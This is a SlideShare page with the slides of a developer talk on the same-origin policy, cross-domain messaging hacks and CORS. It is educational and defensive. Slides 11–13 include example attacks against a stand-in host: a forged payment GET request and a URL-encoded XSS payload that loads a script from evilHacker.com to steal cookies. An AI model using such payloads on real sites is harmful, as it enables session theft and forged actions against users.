SlideShare a Scribd company logo

Going Beyond Cross Domain Boundaries (jQuery Bulgaria)

•
•
Ivo Andreev
Ivo Andreev

Same-origin policy is an important security concept of the modern browser languages like JavaScript but becomes an obstacle for developers when building complex client-side apps. Over time there have been lots of ingenious workarounds using JSON-P, IFRAME and proxies. As of January 2013 the well known Cross Origin Resource Sharing (CORS) comes as proposed standard by W3C and has now native support by all major browsers.

Related slideshows

HTML5 hacking
HTML5 hackingHTML5 hacking
HTML5 hacking
 
Web Hacking
Web HackingWeb Hacking
Web Hacking
 
01. http basics v27
01. http basics v2701. http basics v27
01. http basics v27
 
1 of 32
Download to read offline
var title = “Go Beyond Cross Domain Boundaries”; $(this).attr(“title”, title); $(this).data({ font: ‘Segoe UI’, size: ‘30pt’, speaker: ‘Ivelin Andreev’ });
About me • Project Manager @ • 11 years professional experience • MCPD .NET Web Development • ivelin.andreev@icb.bg • http://www.linkedin.com/in/ivelin • Business Interests o Web Development (ASP.NET, jQuery, AJAX) o SOA, Integration o GIS, Mapping o Performance tuning, Network security
Agenda • • • • • • • What is Same Origin Policy Security issues it solves Security issues it does not solve X-domain techniques CORS Why CORS? Demo
The Same Origin Policy (SOP) • Same origin - if scheme://host:port are the same • JavaScript limited by SOP • Script access properties of documents with same origin o DOM objects o Cookies
Same origin policy is the most important security concept in modern browsers https://lh4.googleusercontent.com/-o9vXTXNxnYc/TY3u5UpV-UI/AAAAAAAAXiM/gvMHSRbhGWU/s1600/1600constitution.jpg
Same Origin Policy as Concept • Not a single policy but set of mechanisms o o o o o o SOP for DOM access SOP for XMLHttpRequest SOP for Cookies SOP for Flash SOP for Java SOP for Silverlight • Significant bottleneck in browsers • Behavior is different among browsers • Static bound to single domain o Not all content on site should be trusted the same
Change origin is possible (with some limitations) http://nutshelltek.com/wp-content/uploads/2013/05/Security.jpg
Changing Origin • document.domain o Allow subdomain to access parent domain o Must set to the same value for parent domain and subdomain • Port number set to null • Even in document.domain = document.domain • Cross-origin network access o X-Origin Writes – Typically Allowed (redirects, form submissions) o X-Origin Embed – Typically Allowed • JavaScript <script src="..."></script> • CSS <link rel="stylesheet" href="..."> • Frames <frame>, <iframe> • Media & Plugins <img>, <video>, <audio>, <object>, <embed> o X-Origin Reads – Typically Not allowed
Same-Origin Policy Limits • http://evilHacker.com o <a> • Can link to resource in another domain • But cannot control site from another domain o <iframe> • Include resource from another domain • But cannot directly access DOM o <script> • Include script from another domain • But cannot act on behalf of the script • Implement policy check and inspect contents of enclosing page o <form method=“POST” name=“f1” action=“http://company.com/page.aspx”> • Submit forms without user input • But cannot access user cookies
Cross domain policy does NOT prevent web application exploits
Cross Site Request Forgery (XSRF) • Case o User logs in http://goodSite.com as usual o http://evilHacker.com can • POST new password in form to GoodSite.com • GET http://goodSite.com/Payment.aspx?amount=1000&userID=EvilHacker o Authenticated because cookies are sent • Impact o EvilHacker.com cannot read DOM but can POST to app o User access is blocked or stolen o Act on behalf of the user (payment) • Prevention o Identify valid requests • By user provided secret (low usability) • By XSRF token for every request
Cross Site Scripting Inclusion (XSSI) • Case o o o o o o http://goodSite.com includes <script> to perform AJAX request http://evilHacker.com includes the same script Authenticated because cookies are sent JSONP (SCRIPT + JSON) returned by server as usual SCRIPT evaluated in EvilHacker.com context and JSON is stolen EvilHacker.com redefines callback • Impact o User data are stolen • Prevention o http://goodSite.com must check policy of script inclusion
Cross Site Scripting (XSS) • Case o http://evilHacker.com injects <script> in http://goodSite.com application context • By posting HTML form field • By tricking user to click link with query parameters sent by mail o %3Cscript%20src%3D%27evilHacker.com%2Fscript.js%27%3E • Impact o Steel user cookies for GoodSite.com and transfer to EvilHacker.com o Phishing attack redirects to GoodSite.com copy o Script modify GoodSite.com content (even SSL cert will not warn) • Prevention o Filter user input o ALWAYS HTML and URL Encode/Decode o Do not send untrusted data to browser
There is need of reliable and secure Cross Domain Messaging http://leadership-standard.blogspot.com/2012/08/the-message-you-dont-need.html
Common X-Domain Use Cases Typical cases • Consume REST APIs • Build mashups • Operate Ads • Synchronize two pages Use when • You own both sites • Request information from a site that trusts you Note • No solution solves the problems in every browser.
Policy limitations forced developers create ingenious workarounds
window.name Hack • Child window (frame/iframe) sets: window.name = ‘{“message”:”text”}’; • Parent window: f = document.createElement('iframe'); f.onload = function () { doWork(); f.src='about:blank'}; f.src = 'http://otherDomain.com'; document.body.appendChild(f); Notes: • Very tricky, works on all browsers
document.domain Hack • Allows cross SUB-domain access //From a page in http://sub.masterDomain.com document.domain = “masterDomain.com”; • Pages can access each other’s DOM objects • The sub- and parent domain have the same permissions Notes: • document.domain is ReadOnly property in HTML spec. • Useful when you do not own both sites • Works on all browsers • Port set to null when document.domain is set
iFrame Proxy Hack • domainB tries to get parent.document o Permission denied to access property ‘document’’ • Hidden iFrame to exchange data • Proxy: subscribes to onResize event • Child: domainB sets hash on proxy domainA.com#msg • Proxy: reads message and changes window.top Notes: • Do-it-yourself approach • Complex and browser-dependent • Widely accepted as standard
Other solutions are not that hacky http://designtaxi.com/userfiles/articles/101845/thumb/banner.png
What is new in HTML5 window.postMessage Pass message between two windows safely otherWindow.postMessage(message, targetOrigin, [FF:transfer]); • otherWindow can listen for sent messages by executing: function receiveMessage(event) { if (event.origin !== "http://example.org") return; ... } window.addEventListener("message", receiveMessage, false); Notes: • Basic support in IE8, IE9, limitations in IE10 • Always check origin to prevent XSS attacks • If you do not expect messages, do not subscribe
JSON-P • Loads JSON from another domain • Exploits HTML <script> element exception to SOP • Client adds query parameters to server <script type="application/javascript" src= "http://otherDomain.com/Svc/Get?callback=parseResponse" /> • Server returns JSON wrapped in function call parseResponse ({“this”:”is”,”json”:”data”}); • JS function callback evaluated in page Notes: • Useful for RESTful APIs • Vulnerable to XSRF and XSS attacks
easyXDM Library • Pass string messages between domains o Enables developers to workaround SOP limitations o postMessage transport on modern browsers, fallback to frame element • Consumer var socket = new easyXDM.Socket({ remote: “http://domain.com/provider/”, //provider path onMessage: function(message, origin){ if (origin==“…”) alert(message); } }); socket.postMessage(“message"); • Provider var socket = new easyXDM.Socket({ onMessage: function(message, origin) {alert(message); } });
Cross Origin Resource Sharing http://onlypositive.net/image.axd?picture=2010%2F6%2Fsharing-ice-cream-cone-girl-dog.jpg
How does CORS Work • Request headers o Origin: http://myDomain.com • Response headers o Access-Control-Allow-Origin: • http://myDomain.com • “*” – all domains allowed o Error if not allowed Note: “*” does not allow supply of credentials o HTTP authentication will not work o Client SSL certificates will not work o Cookies will not work
Preflight Request • Required when o HTTP verb other than GET/POST o Request MIME type other than text/plain (i.e. application/json) o Custom headers • Headers determine whether CORS is enabled o Request (HTTP OPTIONS method) • Origin: http://myDomain.com • Access-Control-Request-Method: [method the request wants to use] • Access-Control-Request-Headers: [optional CSV, custom headers] o Response • Access-Control-Allow-Origin: [allowed origin] • Access-Control-Allow-Methods: [CSV allowed methods] • Access-Control-Allow-Headers: [CSV allowed headers] • Access-Control-Max-Age: [seconds preflight is valid]
Credential Request • By Default o X-domain do not send credentials (cookies, client SSL, HTTP authentication) • Request (specify send credentials) o xmlHttpRequest.withCredentials = true; • Response headers (if server allows ) o o o o Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: http://myDomain.com Otherwise response will be ignored by browser Header can be sent during pre-flight request
Can I Use http://caniuse.com/cors IE 8 and IE9 limitations • • • Use XDomainRequest Preflight not supported Request limited to the target scheme of hosting page
Why use CORS • The most robust solution for X-domain requests with JS • The best approach to consume RESTful API with JS • Modern alternative to JSON-P and W3C standard JSON-P HTTP Verbs GET Browser Support All CORS GET,PUT,POST,DELETE,OPTIONS Does not < IE 8 Error Handling Tricky to none HTTP status access via XHR Performance 1 HTTP Request 2 Requests (up to 3) Authentication Cookies only Cookies, Basic, client SSL X-Site Scripting If external site compromised Consumer parses response
Check this out • Open Web Application Security Project o https://www.owasp.org/ • Mozilla Developer Network o http://developer.mozilla.org • Html5rocks CORS Tutorial o http://www.html5rocks.com/en/tutorials/cors/ • Gruyere Code Lab - Exploits and Defenses o http://google-gruyere.appspot.com/
Demo DEMO
Thanks to our Sponsors: Diamond Sponsor: Gold Sponsors: Silver Sponsors: Technological Partners: Bronze Partners: Swag Sponsors: Media Partners:

More Related Content

Going Beyond Cross Domain Boundaries (jQuery Bulgaria)

  • 1. var title = “Go Beyond Cross Domain Boundaries”; $(this).attr(“title”, title); $(this).data({ font: ‘Segoe UI’, size: ‘30pt’, speaker: ‘Ivelin Andreev’ });
  • 2. About me • Project Manager @ • 11 years professional experience • MCPD .NET Web Development • ivelin.andreev@icb.bg • http://www.linkedin.com/in/ivelin • Business Interests o Web Development (ASP.NET, jQuery, AJAX) o SOA, Integration o GIS, Mapping o Performance tuning, Network security
  • 3. Agenda • • • • • • • What is Same Origin Policy Security issues it solves Security issues it does not solve X-domain techniques CORS Why CORS? Demo
  • 4. The Same Origin Policy (SOP) • Same origin - if scheme://host:port are the same • JavaScript limited by SOP • Script access properties of documents with same origin o DOM objects o Cookies
  • 5. Same origin policy is the most important security concept in modern browsers https://lh4.googleusercontent.com/-o9vXTXNxnYc/TY3u5UpV-UI/AAAAAAAAXiM/gvMHSRbhGWU/s1600/1600constitution.jpg
  • 6. Same Origin Policy as Concept • Not a single policy but set of mechanisms o o o o o o SOP for DOM access SOP for XMLHttpRequest SOP for Cookies SOP for Flash SOP for Java SOP for Silverlight • Significant bottleneck in browsers • Behavior is different among browsers • Static bound to single domain o Not all content on site should be trusted the same
  • 7. Change origin is possible (with some limitations) http://nutshelltek.com/wp-content/uploads/2013/05/Security.jpg
  • 8. Changing Origin • document.domain o Allow subdomain to access parent domain o Must set to the same value for parent domain and subdomain • Port number set to null • Even in document.domain = document.domain • Cross-origin network access o X-Origin Writes – Typically Allowed (redirects, form submissions) o X-Origin Embed – Typically Allowed • JavaScript <script src="..."></script> • CSS <link rel="stylesheet" href="..."> • Frames <frame>, <iframe> • Media & Plugins <img>, <video>, <audio>, <object>, <embed> o X-Origin Reads – Typically Not allowed
  • 9. Same-Origin Policy Limits • http://evilHacker.com o <a> • Can link to resource in another domain • But cannot control site from another domain o <iframe> • Include resource from another domain • But cannot directly access DOM o <script> • Include script from another domain • But cannot act on behalf of the script • Implement policy check and inspect contents of enclosing page o <form method=“POST” name=“f1” action=“http://company.com/page.aspx”> • Submit forms without user input • But cannot access user cookies
  • 10. Cross domain policy does NOT prevent web application exploits
  • 11. Cross Site Request Forgery (XSRF) • Case o User logs in http://goodSite.com as usual o http://evilHacker.com can • POST new password in form to GoodSite.com • GET http://goodSite.com/Payment.aspx?amount=1000&userID=EvilHacker o Authenticated because cookies are sent • Impact o EvilHacker.com cannot read DOM but can POST to app o User access is blocked or stolen o Act on behalf of the user (payment) • Prevention o Identify valid requests • By user provided secret (low usability) • By XSRF token for every request
  • 12. Cross Site Scripting Inclusion (XSSI) • Case o o o o o o http://goodSite.com includes <script> to perform AJAX request http://evilHacker.com includes the same script Authenticated because cookies are sent JSONP (SCRIPT + JSON) returned by server as usual SCRIPT evaluated in EvilHacker.com context and JSON is stolen EvilHacker.com redefines callback • Impact o User data are stolen • Prevention o http://goodSite.com must check policy of script inclusion
  • 13. Cross Site Scripting (XSS) • Case o http://evilHacker.com injects <script> in http://goodSite.com application context • By posting HTML form field • By tricking user to click link with query parameters sent by mail o %3Cscript%20src%3D%27evilHacker.com%2Fscript.js%27%3E • Impact o Steel user cookies for GoodSite.com and transfer to EvilHacker.com o Phishing attack redirects to GoodSite.com copy o Script modify GoodSite.com content (even SSL cert will not warn) • Prevention o Filter user input o ALWAYS HTML and URL Encode/Decode o Do not send untrusted data to browser
  • 14. There is need of reliable and secure Cross Domain Messaging http://leadership-standard.blogspot.com/2012/08/the-message-you-dont-need.html
  • 15. Common X-Domain Use Cases Typical cases • Consume REST APIs • Build mashups • Operate Ads • Synchronize two pages Use when • You own both sites • Request information from a site that trusts you Note • No solution solves the problems in every browser.
  • 16. Policy limitations forced developers create ingenious workarounds
  • 17. window.name Hack • Child window (frame/iframe) sets: window.name = ‘{“message”:”text”}’; • Parent window: f = document.createElement('iframe'); f.onload = function () { doWork(); f.src='about:blank'}; f.src = 'http://otherDomain.com'; document.body.appendChild(f); Notes: • Very tricky, works on all browsers
  • 18. document.domain Hack • Allows cross SUB-domain access //From a page in http://sub.masterDomain.com document.domain = “masterDomain.com”; • Pages can access each other’s DOM objects • The sub- and parent domain have the same permissions Notes: • document.domain is ReadOnly property in HTML spec. • Useful when you do not own both sites • Works on all browsers • Port set to null when document.domain is set
  • 19. iFrame Proxy Hack • domainB tries to get parent.document o Permission denied to access property ‘document’’ • Hidden iFrame to exchange data • Proxy: subscribes to onResize event • Child: domainB sets hash on proxy domainA.com#msg • Proxy: reads message and changes window.top Notes: • Do-it-yourself approach • Complex and browser-dependent • Widely accepted as standard
  • 20. Other solutions are not that hacky http://designtaxi.com/userfiles/articles/101845/thumb/banner.png
  • 21. What is new in HTML5 window.postMessage Pass message between two windows safely otherWindow.postMessage(message, targetOrigin, [FF:transfer]); • otherWindow can listen for sent messages by executing: function receiveMessage(event) { if (event.origin !== "http://example.org") return; ... } window.addEventListener("message", receiveMessage, false); Notes: • Basic support in IE8, IE9, limitations in IE10 • Always check origin to prevent XSS attacks • If you do not expect messages, do not subscribe
  • 22. JSON-P • Loads JSON from another domain • Exploits HTML <script> element exception to SOP • Client adds query parameters to server <script type="application/javascript" src= "http://otherDomain.com/Svc/Get?callback=parseResponse" /> • Server returns JSON wrapped in function call parseResponse ({“this”:”is”,”json”:”data”}); • JS function callback evaluated in page Notes: • Useful for RESTful APIs • Vulnerable to XSRF and XSS attacks
  • 23. easyXDM Library • Pass string messages between domains o Enables developers to workaround SOP limitations o postMessage transport on modern browsers, fallback to frame element • Consumer var socket = new easyXDM.Socket({ remote: “http://domain.com/provider/”, //provider path onMessage: function(message, origin){ if (origin==“…”) alert(message); } }); socket.postMessage(“message"); • Provider var socket = new easyXDM.Socket({ onMessage: function(message, origin) {alert(message); } });
  • 24. Cross Origin Resource Sharing http://onlypositive.net/image.axd?picture=2010%2F6%2Fsharing-ice-cream-cone-girl-dog.jpg
  • 25. How does CORS Work • Request headers o Origin: http://myDomain.com • Response headers o Access-Control-Allow-Origin: • http://myDomain.com • “*” – all domains allowed o Error if not allowed Note: “*” does not allow supply of credentials o HTTP authentication will not work o Client SSL certificates will not work o Cookies will not work
  • 26. Preflight Request • Required when o HTTP verb other than GET/POST o Request MIME type other than text/plain (i.e. application/json) o Custom headers • Headers determine whether CORS is enabled o Request (HTTP OPTIONS method) • Origin: http://myDomain.com • Access-Control-Request-Method: [method the request wants to use] • Access-Control-Request-Headers: [optional CSV, custom headers] o Response • Access-Control-Allow-Origin: [allowed origin] • Access-Control-Allow-Methods: [CSV allowed methods] • Access-Control-Allow-Headers: [CSV allowed headers] • Access-Control-Max-Age: [seconds preflight is valid]
  • 27. Credential Request • By Default o X-domain do not send credentials (cookies, client SSL, HTTP authentication) • Request (specify send credentials) o xmlHttpRequest.withCredentials = true; • Response headers (if server allows ) o o o o Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: http://myDomain.com Otherwise response will be ignored by browser Header can be sent during pre-flight request
  • 28. Can I Use http://caniuse.com/cors IE 8 and IE9 limitations • • • Use XDomainRequest Preflight not supported Request limited to the target scheme of hosting page
  • 29. Why use CORS • The most robust solution for X-domain requests with JS • The best approach to consume RESTful API with JS • Modern alternative to JSON-P and W3C standard JSON-P HTTP Verbs GET Browser Support All CORS GET,PUT,POST,DELETE,OPTIONS Does not < IE 8 Error Handling Tricky to none HTTP status access via XHR Performance 1 HTTP Request 2 Requests (up to 3) Authentication Cookies only Cookies, Basic, client SSL X-Site Scripting If external site compromised Consumer parses response
  • 30. Check this out • Open Web Application Security Project o https://www.owasp.org/ • Mozilla Developer Network o http://developer.mozilla.org • Html5rocks CORS Tutorial o http://www.html5rocks.com/en/tutorials/cors/ • Gruyere Code Lab - Exploits and Defenses o http://google-gruyere.appspot.com/
  • 32. Thanks to our Sponsors: Diamond Sponsor: Gold Sponsors: Silver Sponsors: Technological Partners: Bronze Partners: Swag Sponsors: Media Partners: